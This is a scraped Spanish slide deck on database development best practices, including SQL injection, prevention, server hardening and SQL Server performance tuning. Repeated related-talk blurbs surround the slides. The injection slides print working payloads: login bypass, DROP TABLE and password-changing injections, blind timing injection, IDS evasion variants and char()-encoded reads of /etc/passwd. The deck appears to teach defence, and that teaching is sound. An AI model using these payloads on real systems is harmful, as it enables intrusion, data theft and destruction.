1) El documento habla sobre mejores prácticas para el desarrollo de bases de datos, incluyendo el ciclo de vida de aplicaciones de base de datos, consejos de diseño y consideraciones de seguridad. 2) También discute la inyección SQL, una vulnerabilidad común, y técnicas para prevenirla como la validación de entrada y el uso de procedimientos almacenados. 3) Finalmente, ofrece recomendaciones para auditar aplicaciones existentes y endurecer servidores para fortalecer la defensa contra la inyección SQL.
Java Database Connectivity (JDBC) es una interfase de acceso a bases de datos estándar SQL que proporciona un acceso uniforme a una gran variedad de bases de datos relacionales.
Java Database Connectivity (JDBC) es una interfase de acceso a bases de datos estándar SQL que proporciona un acceso uniforme a una gran variedad de bases de datos relacionales.
PL/SQL developers (as well as DBAs and many others involved) typically are uncertain what SOA means to them. They feel overwhelmed by a avalanche of acronyms. Yet they see it coming and instead of being surprised or bypassed, this session allows them to start participating and benefiting themselves. This session introduces SOA and the Oracle SOA Suite 11g to the realm of the PL/SQL developer - from which it sometimes seems so far removed. What are the key SOA concepts and objectives - what's the buzz about? What is at the heart of SOA Suite 11g: Composite Applications, BPEL PM and the Mediator.
The presentation demonstrates how SOA Services can be leveraged from the database – from Triggers and PL/SQL applications and how the database can publish events to the Event Delivery Network. It demonstrates how the SOA infrastructure can access the database, primarily using the Database Adapter – and how database developers can be instrumental in efficiently doing so. It concludes with some hints for applying SOA concepts for 'normal' database development.
This presentation about common problems with data base versioning, migration and maintaining during project live cycle. Also we will look at useful tools that can help us to solve these problems. Then we will compare two most popular tools Liquibase and Flyway , and run live demo with small migration using one of them.
Programación de Base de Datos
Unidad 2: Apps con arquitectura cliente-servidor
Ejemplo de aplicación cliente-servidor en C# utilizando conexiones TCP/IP
Tanto el cliente como el servidor están desarrollados en consola
Resumen del Rational Unified Process (RUP) para la materia de Análisis y Diseño de Sistemas de Información (INF - 162) de la carrera de Informática de la Universidad Mayor de San Andrés
Tecnologico Nacional de Mexico
Ingenieria en Sistemas Computacionales
Programacion de Base de datos
Unidad 1: Conexion a la base de datos con un lenguaje de programacion actualizado
PL/SQL developers (as well as DBAs and many others involved) typically are uncertain what SOA means to them. They feel overwhelmed by a avalanche of acronyms. Yet they see it coming and instead of being surprised or bypassed, this session allows them to start participating and benefiting themselves. This session introduces SOA and the Oracle SOA Suite 11g to the realm of the PL/SQL developer - from which it sometimes seems so far removed. What are the key SOA concepts and objectives - what's the buzz about? What is at the heart of SOA Suite 11g: Composite Applications, BPEL PM and the Mediator.
The presentation demonstrates how SOA Services can be leveraged from the database – from Triggers and PL/SQL applications and how the database can publish events to the Event Delivery Network. It demonstrates how the SOA infrastructure can access the database, primarily using the Database Adapter – and how database developers can be instrumental in efficiently doing so. It concludes with some hints for applying SOA concepts for 'normal' database development.
This presentation about common problems with data base versioning, migration and maintaining during project live cycle. Also we will look at useful tools that can help us to solve these problems. Then we will compare two most popular tools Liquibase and Flyway , and run live demo with small migration using one of them.
Programación de Base de Datos
Unidad 2: Apps con arquitectura cliente-servidor
Ejemplo de aplicación cliente-servidor en C# utilizando conexiones TCP/IP
Tanto el cliente como el servidor están desarrollados en consola
Resumen del Rational Unified Process (RUP) para la materia de Análisis y Diseño de Sistemas de Información (INF - 162) de la carrera de Informática de la Universidad Mayor de San Andrés
Tecnologico Nacional de Mexico
Ingenieria en Sistemas Computacionales
Programacion de Base de datos
Unidad 1: Conexion a la base de datos con un lenguaje de programacion actualizado
Seguridad Base de Datos sql injection v1.0José Moreno
Método de infiltración de código intruso que se vale de una vulnerabilidad informática presente en una aplicación a nivel de validación de entradas para realizar operaciones sobre una base de datos.
En esta sesión analizaremos experiencias de la vida real como consultor en trabajos de mejora de rendimiento. Veremos mejores prácticas para la configuración de SQL Server, tips para un mejor T-SQL y un ejercicio de como monitorear mi servidor de base de datos con Performance Counters, un SQL Server Express y un Excel con Power Pivot.
SQL Saturday 254 10- Cosas que no se deben de hacer en una BDAdrian Miranda
Presentación dada en el SQL Saturday El Salvador, sobre aquellos errores comunes que normalmente cometemos cuando administramos bases de datos SQL Server.
24 HOP edición Español - Patrones de escalalidad en microsoft azure sql datab...SpanishPASSVC
Esta es la charla que Eduardo Castro va a brindar el 4 de Diciembre en las 24 horas PASS en Español. Si no se ha registrado todavia esta a tiempo en el siguiente link: http://www.sqlpass.org/24hours/2014/spanish/Registro.aspx
SQL Azure Administración, Desempeño y MantenimientoEduardo Castro
En esta presentación vemos los aspectos de administración de SQL Azure, así como aspectos de monitoreo de desempeño.
Saludos.
Ing. Eduardo Castro
Microsoft SQL Server MVP
http://tinyurl.com/comunidadwindows
Curso de SQL, Instalación de herramientas de trabajo para PC y dispositivos móviles con ANDROID. Puedes practicar sentencias SQL desde tu Tablet o Smartphone sobre un modelo de base de datos de la vida real
Similar a Mejores prácticas desarrollo de base de datos (20)
Machine Learning con Azure Managed InstanceEduardo Castro
En esta presentación mostramos las opciones para implementar Machine Learning dentro de Azure, así como las formas de configurar y utilizar Python dentro de Azure Managed Instance
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informáticavazquezgarciajesusma
En este proyecto de investigación nos adentraremos en el fascinante mundo de la intersección entre el arte y los medios de comunicación en el campo de la informática.
La rápida evolución de la tecnología ha llevado a una fusión cada vez más estrecha entre el arte y los medios digitales, generando nuevas formas de expresión y comunicación.
Continuando con el desarrollo de nuestro proyecto haremos uso del método inductivo porque organizamos nuestra investigación a la particular a lo general. El diseño metodológico del trabajo es no experimental y transversal ya que no existe manipulación deliberada de las variables ni de la situación, si no que se observa los fundamental y como se dan en su contestó natural para después analizarlos.
El diseño es transversal porque los datos se recolectan en un solo momento y su propósito es describir variables y analizar su interrelación, solo se desea saber la incidencia y el valor de uno o más variables, el diseño será descriptivo porque se requiere establecer relación entre dos o más de estás.
Mediante una encuesta recopilamos la información de este proyecto los alumnos tengan conocimiento de la evolución del arte y los medios de comunicación en la información y su importancia para la institución.
Actualmente, y debido al desarrollo tecnológico de campos como la informática y la electrónica, la mayoría de las bases de datos están en formato digital, siendo este un componente electrónico, por tanto se ha desarrollado y se ofrece un amplio rango de soluciones al problema del almacenamiento de datos.
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...Telefónica
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0xWord escrito por Ibón Reinoso ( https://mypublicinbox.com/IBhone ) con Prólogo de Chema Alonso ( https://mypublicinbox.com/ChemaAlonso ). Puedes comprarlo aquí: https://0xword.com/es/libros/233-big-data-tecnologias-para-arquitecturas-data-centric.html
(PROYECTO) Límites entre el Arte, los Medios de Comunicación y la Informáticavazquezgarciajesusma
En este proyecto de investigación nos adentraremos en el fascinante mundo de la intersección entre el arte y los medios de comunicación en el campo de la informática.
La rápida evolución de la tecnología ha llevado a una fusión cada vez más estrecha entre el arte y los medios digitales, generando nuevas formas de expresión y comunicación.
Continuando con el desarrollo de nuestro proyecto haremos uso del método inductivo porque organizamos nuestra investigación a la particular a lo general. El diseño metodológico del trabajo es no experimental y transversal ya que no existe manipulación deliberada de las variables ni de la situación, si no que se observa los fundamental y como se dan en su contestó natural para después analizarlos.
El diseño es transversal porque los datos se recolectan en un solo momento y su propósito es describir variables y analizar su interrelación, solo se desea saber la incidencia y el valor de uno o más variables, el diseño será descriptivo porque se requiere establecer relación entre dos o más de estás.
Mediante una encuesta recopilamos la información de este proyecto los alumnos tengan conocimiento de la evolución del arte y los medios de comunicación en la información y su importancia para la institución.
En este documento analizamos ciertos conceptos relacionados con la ficha 1 y 2. Y concluimos, dando el porque es importante desarrollar nuestras habilidades de pensamiento.
Sara Sofia Bedoya Montezuma.
9-1.
Inteligencia Artificial y Ciberseguridad.pdfEmilio Casbas
Recopilación de los puntos más interesantes de diversas presentaciones, desde los visionarios conceptos de Alan Turing, pasando por la paradoja de Hans Moravec y la descripcion de Singularidad de Max Tegmark, hasta los innovadores avances de ChatGPT, y de cómo la IA está transformando la seguridad digital y protegiendo nuestras vidas.
2. Ing. Eduardo Castro, PhD
PASS Board of Directors
eduardo.castro@sqlpass.org
Microsoft Data Platform MVP
Microsoft Data Science Specialization
Johns Hopkins University Data Science Specialization
Data mining and forecast Specialization
4. Ciclo de vida de aplicaciones de base de datos
• Planificación de la base de datos
• Definición del sistema
• Recopilación y análisis de requerimientos
• Diseño de base de datos
• Diseño de aplicaciones
• Pruebas
• Implementación
• Mantenimiento operativo
5. El trabajo adelantado vale la pena despues!
• Identificar la necesidad a ser resuelta por la aplicación.
• Determinar si / cómo la nueva aplicación se integrará con los
sistemas departamentales e institutos existentes.
• Identificar los requisitos de administración y usuarios.
6. Consejos de diseño de base de datos
• Elija el DBMS y las herramientas de desarrollo
• Los estándares de nomenclatura
• Utilizar los identificadores únicos
• Claves significativas o no significativas?
• Minimizar la redundancia de datos
• Garantizar la integridad de datos / datos existente
apalancamiento
7. Consideraciones de diseño adicionales
• Seguridad de las aplicaciones
• Información delicada
• Se alimenta o se conecta de los sistemas de la empresa
• Aprovechando el almacén de datos
8. Mantenimiento de base de datos
Consejos
• Documentación, documentación, documentación
• Las copias de seguridad - Hot vs Cold
• Indices
• Monitoreo - Archivos de registro, Rendimiento
9. ¿Qué es la inyección de SQL?
• Técnica de inyección
• La vulnerabilidad de seguridad
• Se dirige a los manipuladores de entrada del
usuario
10. 9
¿Qué es la inyección de SQL?
La capacidad de inyectar comandos SQL en el
motor de base de
a través de una aplicación existente
11. 10
¿Qué tan común es?
• Es probable que sea la vulnerabilidad de web más común hoy en día!
• Es un defecto en el desarrollo de "aplicaciones web",
que no es un problema en el servidor Web o DB
• La mayoría de los programadores no son conscientes de este problema
• Una gran cantidad de los tutoriales y "plantillas" de demostración son vulnerables
• Lo que es peor, una gran cantidad de soluciones publicadas en Internet no son lo
suficientemente buenos
• En nuestras pruebas de penetración más del 50% de nuestros clientes
llegar a ser vulnerables a la inyección de SQL http://sqlmap.org/
12. 11
Aplicaciones vulnerables
• Casi todas las bases de datos SQL y lenguajes de programación son
potencialmente vulnerables
• MS SQL Server, Oracle, MySQL, PostgreSQL, DB2, MS Access, Sybase, Informix, etc.
• Acceder a través de las aplicaciones desarrolladas usando:
• scripts de Perl y CGI que acceden a bases de datos
• ASP, JSP, PHP
• XML, XSL y XSQL
• javascript
• VB, MFC, y otras herramientas y API basadas en ODBC
• DB aplicaciones basadas en Web específicas y API
13. Los ejemplos del mundo real
• El 17 de agosto de 2009, el Departamento de Justicia de Estados
Unidos acusó a un ciudadano estadounidense Albert González y
dos rusos no identificados con el robo de 130 millones de números
de tarjetas de crédito utilizando un ataque de inyección SQL.
• En 2008 una serie de ataques comenzó la explotación de las
vulnerabilidades de inyección SQL de servidor de servidor web IIS
y la base de datos SQL de Microsoft. Más de 500.000 sitios fueron
explotadas.
14. sintaxis importante
COMMENTS: --
Example: SELECT * FROM `table` --selects everything
LOGIC: ‘a’=‘a’
Example: SELECT * FROM `table` WHERE ‘a’=‘a’
MULTI STATEMENTS: S1; S2
Example: SELECT * FROM `table`; DROP TABLE `table`;
18. Login Tabla de base de datos
usuario contrasena
timbo317 cse7330
¿¿Qué puede salir mal??
19. Ejemplo Hack
'O' a '=' a
'O' a '=' a
SELECT * FROM `login` WHERE `user`=‘’ OR ‘a’=‘a’ AND
`pass`=‘’ OR ‘a’=‘a’
20. ¡Se pone peor!
'; DROP TABLE `login`; -
SELECT * FROM `login` WHERE `user`=‘’; DROP TABLE `login`; --’ AND
`pass`=‘’
21. Todas las consultas son posibles
SELECT * FROM `login` WHERE `user`=‘’; INSERT INTO `login`
('user','pass') VALUES ('haxor','whatever');--’ AND `pass`=‘’
SELECT * FROM `login` WHERE `user`=‘’; UPDATE `login` SET
`pass`=‘pass123’ WHERE `user`=‘timbo317’;--’ AND `pass`=‘’
22. Demostración en vivo
• http://crackme.cenzic.com/kelev/view/loanrequest.php
¿Cómo se puede evitar que esto ??
23. Prevención
• Lógica para permitir que sólo los números / letras en nombre de
usuario y contraseña.
• ¿Cómo se debe imponer la restricción?
LADO DEL SERVIDOR.
• "escapar" caracteres malos.
'Se convierte en '
• READ ONLY acceso a la base de datos.
• Recuerda que esto no es sólo para las zonas de inicio de sesión!
No sólo para los sitios web !!
24. 24
La inyección a través de String
formusr = ' or 1=1 – –
formpwd = anything
Final query would look like this:
SELECT * FROM users
WHERE username = ' ' or 1=1
– – AND password = 'anything'
25. 25
El poder de '
• Se cierra el parámetro de cadena
• Todo después se considera parte del comando SQL
• Engañosas sugerencias de Internet incluyen:
• Escapar de ella! : sustituir' con ''
• campos de cadena son muy comunes, pero hay otros tipos de
campos:
• Numérico
• fechas
26. 26
Si se tratara de números?
SELECT * FROM clients
WHERE account = 12345678
AND pin = 1111
PHP/MySQL login syntax
$sql = "SELECT * FROM clients WHERE " .
"account = $formacct AND " .
"pin = $formpin";
27. 27
La inyección de campos numéricos
$formacct = 1 or 1=1 #
$formpin = 1111
Final query would look like this:
SELECT * FROM clients
WHERE account = 1 or 1=1
# AND pin = 1111
28. 28
Caracteres de inyección SQL
• ' o " Indicadores Cadena de caracteres
• - o # comentario de una sola línea
• / *...* / comentario de varias líneas
• + Además, concatenar (o espacio en url)
• || (Tubería doble) concatenar
• % indicador de atributo comodín
• ? Param1 = foo = bar y Param2 Parámetros de URL
• IMPRESIÓN útil como comando no transaccional
• @variable variable local
• @@variable variable global
• waitfor retraso "0: 0: 10 ' tiempo de retardo
30. 30
Metodología del probar inyección SQL
1) de validación de entrada
2) Información. Reunión
6) OS Cmd Prompt
7) Ampliar Influencia
4) Extracción de Datos
3) 1 = 1 Ataques 5) Interacción OS
31. 31
1) de validación de entrada
2) Información. Reunión
3) 1 = 1 Ataques 5) Interacción OS
6) OS Cmd Prompt4) Extracción de Datos
7) Ampliar Influencia
1) de validación de entrada
32. 32
Descubrimiento de vulnerabilidades
• Las vulnerabilidades pueden estar en cualquier lugar, comprobamos todos
los puntos de entrada:
• Los campos en los formularios web
• Los parámetros de script en las cadenas de consulta URL
• Los valores almacenados en las cookies o campos ocultos
• Por "fuzzing" insertamos en cada uno:
• secuencia de caracteres: ' ") # || +>
• palabras reservadas de SQL con delimitadores de espacio en blanco
• % 09select (lengüeta09%, Retorno de carro% 13, linea de alimentación% 10 y el espacio% 32 con
y, o, actualizar, insertar, exec, Etc)
• Delay query 'Waitfor retraso "0: 0: 10' -
33. 33
2) Recopilación de información
2) Información. Reunión
3) 1 = 1 Ataques 5) Interacción OS
6) OS Cmd Prompt4) Extracción de Datos
7) Ampliar Influencia
1) de validación de entrada
34. 34
2) Recopilación de información
• Vamos a tratar de averiguar lo siguiente:
a) Mecanismos de salida
b) Comprender la consulta
c) Determinar el tipo de base de datos
d) Encontrar el nivel de privilegios del usuario
e) Determinar el nivel de interacción OS
35. 35
a) Identificación de mecanismos de salida
1. El uso de conjuntos de resultados de consulta en la aplicación web
2. Error de mensajes
• Craft consultas SQL que generan determinados tipos de mensajes de error con
valiosa información en ellas
3. Ciego de inyección SQL
• Utilizar retardos de tiempo o firmas de error para determinar la información
de extracto
• Casi las mismas cosas se pueden hacer, pero es inyección oculta mucho más
lento y más difícil
4. otros mecanismos
• correo electrónico, SMB, FTP, TFTP
36. 36
La extracción de información a través de mensajes
de error
• La agrupación de error
' group by columnnames having 1=1 - -
• No coinciden los tipos
• ' union select 1,1,'text',1,1,1 - -
• ' union select 1,1, bigint,1,1,1 - -
• Dónde 'texto' o bigint están siendo unidos en una int columna
• En DBs que permiten subconsultas, una mejor manera es:
• ' and 1 in (select 'text' ) - -
• En algunos casos es posible que tengamos a CAST o convertir
nuestros datos para generar los mensajes de error
37. 37
Inyección ciega
• Podemos utilizar diferentes resultados conocidos
• ' and condition and '1'='1
• O podemos utilizar sentencias if
• '; if condition waitfor delay '0:0:5' --
• '; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;
• Además, podemos ejecutar todo tipo de consultas, pero sin
información de depuración!
• Obtenemos sí / no sólo respuestas
• Podemos extraer ASCII un poco a la vez ...
• Muy ruidoso y consume mucho tiempo, pero es posible con herramientas
automatizadas como Squeal
39. 39
Técnicas de evasión
• Las técnicas de validación y técnicas de evasión de IDS son muy
similares
• Detección basado en la inyección de SQL es parcialmente posible,
pero depende de "firmas"
• Las firmas pueden ser fácilmente evadidas
• validación de entrada, detección de IDS y fuerte base de datos y
sistema operativo endurecimiento se tienen que acoplar
40. 40
IDS Evasion Firma
Evading ' OR 1=1 signature
• ' OR 'unusual' = 'unusual'
• ' OR 'something' = 'some'+'thing'
• ' OR 'text' = N'text'
• ' OR 'something' like 'some%'
• ' OR 2 > 1
• ' OR 'text' > 't'
• ' OR 'whatever' IN ('whatever')
• ' OR 2 BETWEEN 1 AND 3
41. 41
validación de entradas
• Algunas personas usan addslashes () de PHP para escapar
caracteres
• una frase (')
• comillas dobles ( ")
• barra inversa ()
• NUL (el byte NULL)
• Esto puede ser fácilmente eludido mediante el uso de sustitutos
para cualquiera de los caracteres anteriores en un campo numérico
42. 42
La evasión y la elusión
• IDS y la validación de entrada pueden ser eludidas mediante la
codificación
• Algunas formas de los parámetros de codificación
• la codificación URL
• Unicode / UTF-8
• Enconding hex
• la función char ()
43. 43
MySQL validación de entrada elusión usando Char
()
• Inject without quotes (string = "%"):
• ' or username like char(37);
• Inject without quotes (string = "root"):
• ' union select * from users where login = char(114,111,111,116);
• Load files in unions (string = "/etc/passwd"):
• ' union select 1,
(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
• Check for existing files (string = "n.ext"):
• ' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
44. 44
IDS Evasion Firma utilizando espacios en blanco
• UNION SELECT firma es diferente a
• UNION SELECT
• Tab, carriage return, linefeed or several white spaces
may be used
• Quitar los espacios podría funcionar aún mejor
• 'OR'1' = '1' (Sin espacios) se interpreta correctamente por algunas de las bases
de datos SQL más amigables
45. 45
IDS Evasion Firma usando los comentarios
• Algunos IDS no son engañados por los espacios en blanco
• La utilización de comentarios es la mejor alternativa
• / * ... * / se utiliza en SQL99 para delimitar varias filas comentarios
• UNION/**/SELECT/**/
• '/**/OR/**/1/**/=/**/1
• Esto también permite difundir la inyección a través de varios campos
• USERNAME: ' or 1/*
• PASSWORD: */ =1 --
46. 46
IDS Evasion firma mediante la concatenación de
cadenas
• En MySQL es posible separar las instrucciones con comentarios
• UNI/**/ON SEL/**/ECT
• O bien, puede concatenar texto y utilizar una instrucción específica
para ejecutar DB
• Oracle
• '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
• MS SQL
• '; EXEC ('SEL' + 'ECT US' + 'ER')
48. 49
Defensa de inyección SQL
• Es muy sencillo: validación de entradas
• El verdadero desafío es hacer las mejores prácticas consistentes a
través todas tu codigo
• Hacer cumplir "diseño fuerte" en nuevas aplicaciones
• Debe auditar sus sitios web existentes y el código fuente
• Incluso si usted tiene un diseño hermético, endurecer sus
servidores
49. 50
Diseño fuerte
• Definir un camino fácil "seguro" para la consulta de datos
• Utilizar procedimientos almacenados para interactuar con la base de datos
• Llamar a los procedimientos almacenados a través de una API parametrizada
• Validar todas las entradas a través de rutinas genéricas
• Utilice el principio de "menor privilegio"
• Definir varias funciones, una para cada tipo de consulta
50. 51
Validación de entrada
• Definir los tipos de datos para cada campo
• Aplicar estrictas "permitir que solo buenos" filtros
• Si la entrada se supone que debe ser numérico, utilice una variable numérica en el
script para almacenarlo
• Rechazar una entrada incorrecta en lugar de intentar escapar o modificarla
• Aplicar estrictas "malos conocidos" filtros
• Por ejemplo: rechazar "select", "insert", "update", "shutdown", "delete", "drop", "--", "'"
51. 52
Harden el servidor
1. DB ejecutar como una cuenta de usuario con privilegios bajos
2. Retire los procedimientos almacenados no utilizados y
funcionalidad o restringir el acceso a los administradores
3. Cambiar permisos y eliminar el acceso "público" para los objetos
del sistema
4. Auditoría de la contraseña para todas las cuentas de usuario
5. Retirar los servidores vinculados preautenticada
6. Retire protocolos de red no utilizados
7. Cortafuegos el servidor para que los clientes sólo de confianza
pueden conectarse a él (por lo general sólo: red administrativa, el
servidor web y el servidor de copia de seguridad)
52. 53
Detección y disuasión
• Es posible que desee para reaccionar a los intentos de inyección
SQL por:
• Registro de los intentos
• Envío de alertas de correo electrónico
• El bloqueo de la IP infractora
• El envío de mensajes de error de vuelta de intimidación:
• "ADVERTENCIA:. El uso indebido de esta aplicación se ha detectado Se identificó
un posible ataque se tomarán acciones legales.".
• Consulte con sus abogados para redacción adecuada
• Esto debe ser codificada en las secuencias de comandos de
validación
53. Análisis de rendimiento de T-SQL y puesta a punto
DB es
demasiado
lento
algo está roto
Tiempos
de espera
extraño
comportamient
o
aplicación se bloquea
55. Analizador de SQL Server y
Las huellas de SQL
ReadTrace (Utilidad RML) - línea de
comando
SQL Server Management Studio
• sp_who2 y dbcc inputbuffer (<SPID>)
• Guiones
Herramientas – SQL Server
61. Vistas de administración dinámica (DMV)
• Aclarado de caché cuando:
• A mano
• SQL Server se reinicia
• Las estadísticas se actualizan
• presión de memoria
• ...
62. Ejemplo DMV - sys.dm_exec_query_plan
Los planes de ejecución
• Planes de consulta para los lotes
almacenados en caché o están
ejecutando
• sin control de versiones
• No hay historial
63. Así que para obtener el plan de ejecución correcta
La solución incluye:
• código T-SQL re-escritura
• Ejemplo: el uso #tmp
• sugerencias de consulta
• Las guías de plan
• Estadística
• índices
• sp_configure ajustes
• ...
64. Así que para obtener historial de planes de
ejecución ...
• Utilice el software de monitorización del rendimiento
• Los planes de ejecución de todas las consultas
• Mantenga la historia
• Utilizar secuencias de comandos para capturar la historia del DMV
• Las huellas de SQL
• ...
67. Buenas Prácticas (2)
• Consulta verificar tienda está
recopilando datos de consulta
continuamente
• cambio de modo silencioso
• Evitar el uso de consultas con
parámetros para no
• Para evitar recompilaciones
frecuentes
68. No consultas parametrizadas
• Parametrizar consultas en su caso, por ejemplo, envolver las consultas dentro de un
procedimiento almacenado.
• Utilizar el Optimizar para cargas de trabajo Ad Hoc opción si su carga de trabajo
contiene muchos lotes ad-hoc de un solo uso con diferentes planes de consulta.
• Comparar el número de distinta query_hash valores con el número total de entradas en
sys.query_store_query. Si la relación es cercana a 1 su carga de trabajo ad-hoc genera diferentes
consultas.
• Aplicar la parametrización forzada, para la base de datos o para un subconjunto de
consultas si el número de diferentes planes de ejecución no es muy grande.
• Utilice la guía de plan para forzar la parametrización sólo para la consulta seleccionada.
• Configurar la parametrización forzada de la base de datos, si hay un pequeño número de
diferentes planes de consulta en su carga de trabajo. (Cuando la relación entre el recuento de
distintaquery_hash y el número total de entradas en sys.query_store_query es mucho menor que
1.)
• Selecciona el Modo de captura consulta AUTO para filtrar automáticamente las
consultas ad hoc con el pequeño consumo de recursos.
69. Buenas Prácticas (3)
• Evitar la recreación de
procedimiento almacenado,
función, y el gatillo o cambiar el
nombre de bases de datos
• Comprobar el estado de los
planes habitualmente forzados
70. 71
Conclusión
• Inyección SQL es una vulnerabilidad fascinante y peligroso
• Todos los lenguajes de programación y todas las bases de datos
SQL son potencialmente vulnerables
• La protección contra ella requiere
• diseño fuerte
• la validación de entrada correcta
• endurecimiento